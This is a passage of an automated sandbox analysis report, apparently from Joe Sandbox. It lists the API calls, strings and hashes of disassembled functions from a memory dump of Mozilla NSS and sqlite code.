Instruction Fuzzy Hash: 8E2136B1900204ABE7009F25DD81AAAB7B8EF4425CF208419FC18AA701F732D915CBA2

Function 6CE56DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE57D8F,6CE57D8F,?,?), ref: 6CE56DC8

Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08
Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D
Part of subcall function 6CEAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE57D8F,?,?), ref: 6CE56DD5

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FA0,00000000,?,?,?,?,6CE57D8F,?,?), ref: 6CE56DF7

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56E35

Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
Part of subcall function 6CEAFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56E4C

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56E82

Part of subcall function 6CE56AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE5B21D,00000000,00000000,6CE5B219,?,6CE56BFB,00000000,?,00000000,00000000,?,?,?,6CE5B21D), ref: 6CE56B01
Part of subcall function 6CE56AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE56B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE57D8F,?,?), ref: 6CE56FE1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction ID: 44afd1f57266be1bf56c10543488fc8e96684bfc0b75a4b0a094aa0f0781ee46
Opcode Fuzzy Hash: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction Fuzzy Hash: 88717171D102469FDB00CF55CD41AAAB7B8BF5530CF654229E808DBB11F772EAA5CBA0

Function 6CE90FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE91057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91085
PK11_GetAllTokens.NSS3 ref: 6CE910B1
free.MOZGLUE(?), ref: 6CE91107
PR_SetError.NSS3(00000000,00000000), ref: 6CE91172
free.MOZGLUE(?), ref: 6CE91182
free.MOZGLUE(?), ref: 6CE911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE911C5

Part of subcall function 6CE952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE952DF
Part of subcall function 6CE952C0: EnterCriticalSection.KERNEL32(?), ref: 6CE952F3
Part of subcall function 6CE952C0: PR_Unlock.NSS3(?), ref: 6CE95358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911F3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction ID: a60669296d3e820c1f6283e4663ba1d58c7d8a6c9b2f46b99a5221561cf0e8ab
Opcode Fuzzy Hash: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction Fuzzy Hash: CC6183B5E013459FEB00DFA5DC41BAEB7B9AF04348F244128EC19AB741E772E945CB61

Function 6CE9ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEF1
free.MOZGLUE(6CE7CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?), ref: 6CE9AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AF30

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction ID: 2ae723b31025b79d42e8834e5e72909db81349d501649085cdcac2e9f6c4272f
Opcode Fuzzy Hash: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction Fuzzy Hash: 09518EB5E40602EFDB409F29D885B69B7B4BF05318F244268E81997F11E731E8A4CBD1

Function 6CE74CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7AB7F,?,00000000,?), ref: 6CE74CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE7AB7F,?,00000000,?), ref: 6CE74CC8
TlsGetValue.KERNEL32(?,6CE7AB7F,?,00000000,?), ref: 6CE74CE0
EnterCriticalSection.KERNEL32(?,?,6CE7AB7F,?,00000000,?), ref: 6CE74CF4
PL_HashTableLookup.NSS3(?,?,?,6CE7AB7F,?,00000000,?), ref: 6CE74D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE74D10

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE74D26

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE74D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE74DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE74E02

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction ID: dd899951fad1d72f1551169038c0c8965097b4dfa37c7991ce1499b099058135
Opcode Fuzzy Hash: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction Fuzzy Hash: 8E41C5B6D002019BEB119F65EC40A6A77B8EF0525CF254175ED18C7B12FB31D914CBA2

Function 6CE5BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BFFB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE5C015

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE5C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE5C04D

Part of subcall function 6CEA69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEA6A47
Part of subcall function 6CEA69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CEA6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE5C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE5C07B

Part of subcall function 6CE58980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE57310), ref: 6CE589B8
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE57310), ref: 6CE589E6
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE58A00
Part of subcall function 6CE58980: CERT_CopyRDN.NSS3(00000004,00000000,6CE57310,?,?,00000004,?), ref: 6CE58A1B
Part of subcall function 6CE58980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE58A74

Part of subcall function 6CE51D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D2C
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE5C09B,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D3F
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE5C087,00000000,000000B0,?), ref: 6CE51D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE5C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE5C0C9

Part of subcall function 6CE62DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE5C0D2,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62DF5
Part of subcall function 6CE62DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5C0E3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 554c390644b9f1535efb5dd6ecf2e4f01362341229c631a6d8342a0aacdbdd47
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 592195E264020527FB006A61AD91FFB327C9B4575CF684038FD04D9746FB27D5298372

Function 6CE52E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E

Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91
Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
Part of subcall function 6CEAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33

Part of subcall function 6CEAFD80: free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

TlsGetValue.KERNEL32 ref: 6CE52E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
PL_HashTableLookup.NSS3(?), ref: 6CE52E71
PL_HashTableRemove.NSS3(?), ref: 6CE52E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
PR_Unlock.NSS3 ref: 6CE52EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE52EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE52EC5

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction ID: 83c9134bbe055912e52b1b83e02de38759513cc350737315b933a81d6cfc7aac
Opcode Fuzzy Hash: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction Fuzzy Hash: A6210472F04101ABEF021B64EC49B9A3A79EB6239DF244434ED1896711FB33D669C7E1

Function 6CE3FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3FD18
sqlite3_initialize.NSS3 ref: 6CE3FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD99
sqlite3_free.NSS3(00000000), ref: 6CE3FE3C
sqlite3_free.NSS3(?), ref: 6CE3FEE3
sqlite3_free.NSS3(?), ref: 6CE3FEEE

Strings

simple, xrefs: 6CE3FC79

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction ID: 7563ccd30647141edcb60ede4231898dcac0e6c0dfae113e31e3211484c650bb
Opcode Fuzzy Hash: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction Fuzzy Hash: 49917FB0A012158FDB04CF55C984BAAB7B1FF85318F35C5A9D8199BB52D739F801CB90

Function 6CE45CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE45EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE45EED

Strings

invalid, xrefs: 6CE45EBE
API call with %s database connection pointer, xrefs: 6CE45EC3
misuse, xrefs: 6CE45EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE45ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE45E64
%s at line %d of [%.10s], xrefs: 6CE45EE0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction ID: cae583da165126cb0a61a957bc386642a7a3b7b58386fb2fe10b6ec5e6113e62
Opcode Fuzzy Hash: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction Fuzzy Hash: 1281C070B07A029BEB198F65E848B6A7770BF4230CF39826DD8155BB51D730EC42CB92

Function 6CE2DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE2DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE2DE52, 6CE2DE81
database corruption, xrefs: 6CE2DE5C, 6CE2DE8B
%s at line %d of [%.10s], xrefs: 6CE2DE61, 6CE2DE90

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction ID: bd84589e9a49570e64f9b5e86a178f0aa74f6f912d3e9450cf4bf2aa4239d410
Opcode Fuzzy Hash: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction Fuzzy Hash: 5D81F4756047009FD714CF25C880B6A77F1BF4530CF24892DEA8A8BB51EB39EA46CB52

Function 6CDDCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDDB999), ref: 6CDDD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDDB999), ref: 6CF2972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDCFDD, 6CDDD00E, 6CDDD022, 6CDDD033, 6CF29780
database corruption, xrefs: 6CDDCFE7, 6CDDD013, 6CDDD028, 6CDDD039, 6CDDD03E, 6CF29786
%s at line %d of [%.10s], xrefs: 6CDDCFEC, 6CDDD018, 6CDDD029, 6CDDD03F, 6CF2978B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

